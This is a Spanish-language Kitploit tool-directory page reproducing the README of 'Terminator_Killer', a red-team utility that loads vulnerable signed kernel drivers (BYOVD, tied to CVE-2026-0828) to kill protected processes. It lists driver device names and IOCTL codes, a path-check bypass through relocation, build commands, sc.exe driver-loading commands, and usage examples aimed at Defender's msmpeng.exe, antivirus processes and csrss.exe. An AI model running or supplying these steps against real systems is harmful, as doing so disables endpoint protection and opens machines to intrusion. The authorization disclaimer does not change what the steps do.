Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Terminator_Killer — Eliminador de procesos en modo kernel que explota CVE-2026-0828 (BYOVD) para terminar procesos protegidos mediante un controlador firmado vulnerable, eludiendo PPL y la seguridad de endpoints. | Kitploit
Herramientas/GitHubGitHub/hika-sec/terminator_killer
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónEvasión de IDS/IPSPruebas de PenetraciónRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

Eliminador de procesos en modo kernel que explota CVE-2026-0828 (BYOVD) para terminar procesos protegidos mediante un controlador firmado vulnerable, eludiendo PPL y la seguridad de endpoints.

Ver Repositorio
139hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Terminator - Eliminador de procesos para Red Team

Una colección de herramientas de terminación de procesos en modo kernel que aprovechan controladores vulnerables (BYOVD) para finalizar procesos protegidos desde modo usuario.

Estructura del proyecto

ArchivoDescripción
terminator.hppInterfaz de clase compartida para la enumeración y terminación de procesos
terminator_STProcessMonitorDriver.cppExploit para STProcessMonitorDriver (IOCTL 0xB822200C)
Terminator_libwasys.cppExploit para libwasys.sys (IOCTL 0x22E00C)
terminator_MonProcessControl.cppExploit para MonProcessControl.sys (HONOR MagicSpaceTurbo, IOCTL 0x0022400C con omisión de comprobación de ruta)
terminator.cppImplementación original
ProcessMonitorDriver.sysMuestra de STProcessMonitorDriver (incluida)
ilbwasys.sys / libwasys.sysMuestras del controlador libwasys

Compilación

Requiere MinGW-w64 (GCC) en Windows. Compile las variantes individuales:

STProcessMonitorDriver

g++ --% src\terminator_STProcessMonitorDriver.cpp -o terminator_STProcessMonitor.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

libwasys.sys (WasysControl)

g++ --% src\Terminator_libwasys.cpp -o terminator_libwasys.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

MonProcessControl.sys

g++ --% src\terminator_MonProcessControl.cpp -o terminator_MonProcessControl.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Desglose de flags:

FlagPropósito
--%Token de detención de análisis de PowerShell (pasa los argumentos literalmente a g++)
-OzOptimizar para tamaño mínimo
-ffunction-sections / -fdata-sectionsColoca cada función/dato en una sección separada
-static / -static-libgcc / -static-libstdc++Enlazado estático (sin dependencias de DLL en tiempo de ejecución)
-Wl,--gc-sectionsEl enlazador recolecta las secciones no utilizadas
-WHabilita advertencias

Salida: ejecutables autónomos (~20-30 KB tras el strip).

Enfoque técnico

Todas las variantes comparten una arquitectura común:

  • Enumeran los procesos en ejecución mediante CreateToolhelp32Snapshot()
  • Coinciden sin distinguir mayúsculas y minúsculas con los nombres de proceso objetivo
  • Monitorizan continuamente los procesos objetivo (intervalo de 300 ms)
  • Envían IOCTLs de terminación en modo kernel a controladores vulnerables

Variantes

VarianteDispositivo del controladorIOCTLTamaño de entradaNotas
STProcessMonitorDriver\\.\STProcessMonitorDriver0xB822200C8 bytes (ULONG64 PID)Relacionado con CVE-2026-0828
libwasys.sys\\.\WasysControl0x22E00C4 bytes (DWORD PID)IOCTL directo
MonProcessControl.sys\\.\MonProcessControl0x0022400C4 bytes (DWORD PID)Requiere reubicación a C:\HONOR\MagicAnimation\MagicSpaceTurbo.exe debido a la comprobación de ruta

Análisis del código

Terminator::GetProcessPids()

  • Crea una instantánea mediante CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • Itera todos los procesos con Process32First/Process32Next
  • Coincide sin distinguir mayúsculas y minúsculas con los nombres de proceso objetivo
  • Devuelve un vector de PIDs coincidentes

Terminator::ProcessKill()

  • Abre un handle al dispositivo del controlador vulnerable
  • Entra en un bucle de monitorización infinito (intervalo de 300 ms)
  • Para cada PID descubierto, envía el IOCTL correspondiente
  • Solo registra en los intentos de terminación

Relocate() (solo MonProcessControl)

  • Copia el ejecutable a C:\HONOR\MagicAnimation\MagicSpaceTurbo.exe
  • Lo relanza desde allí para eludir la validación de ruta del controlador
  • Limpia tras la ejecución

Guía de uso

Requisitos previos

Cargar el controlador vulnerable correspondiente (requiere Administrador):

# STProcessMonitorDriver
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

# libwasys.sys
sc.exe create WasysControl type=kernel binPath=C:\Path\To\Driver\libwasys.sys
sc.exe start WasysControl

# MonProcessControl.sys
sc.exe create MonProcessControl type=kernel binPath=C:\Path\To\Driver\MonProcessControl.sys
sc.exe start MonProcessControl

Ejecutar Terminator

Todas las variantes usan la misma sintaxis:

<terminator_exe> -proc <process_name1> [process_name2] ...

Ejemplos:

terminator_STProcessMonitor.exe -proc notepad.exe
terminator_libwasys.exe -proc msmpeng.exe csrss.exe
terminator_MonProcessControl.exe -proc antivirus.exe

Salida

[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Para MonProcessControl, los mensajes de reubicación aparecen primero si aún no están en la ruta esperada.

Descargo de responsabilidad

Esta herramienta es únicamente para investigación de seguridad autorizada y ejercicios de red team.

El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito de probar es ilegal. El autor no asume ninguna responsabilidad por el uso indebido. Asegúrese de contar con autorización por escrito antes de desplegarla en cualquier entorno.

Los controladores vulnerables están intencionalmente defectuosos con fines de demostración y nunca deben desplegarse en producción.

Descargar herramienta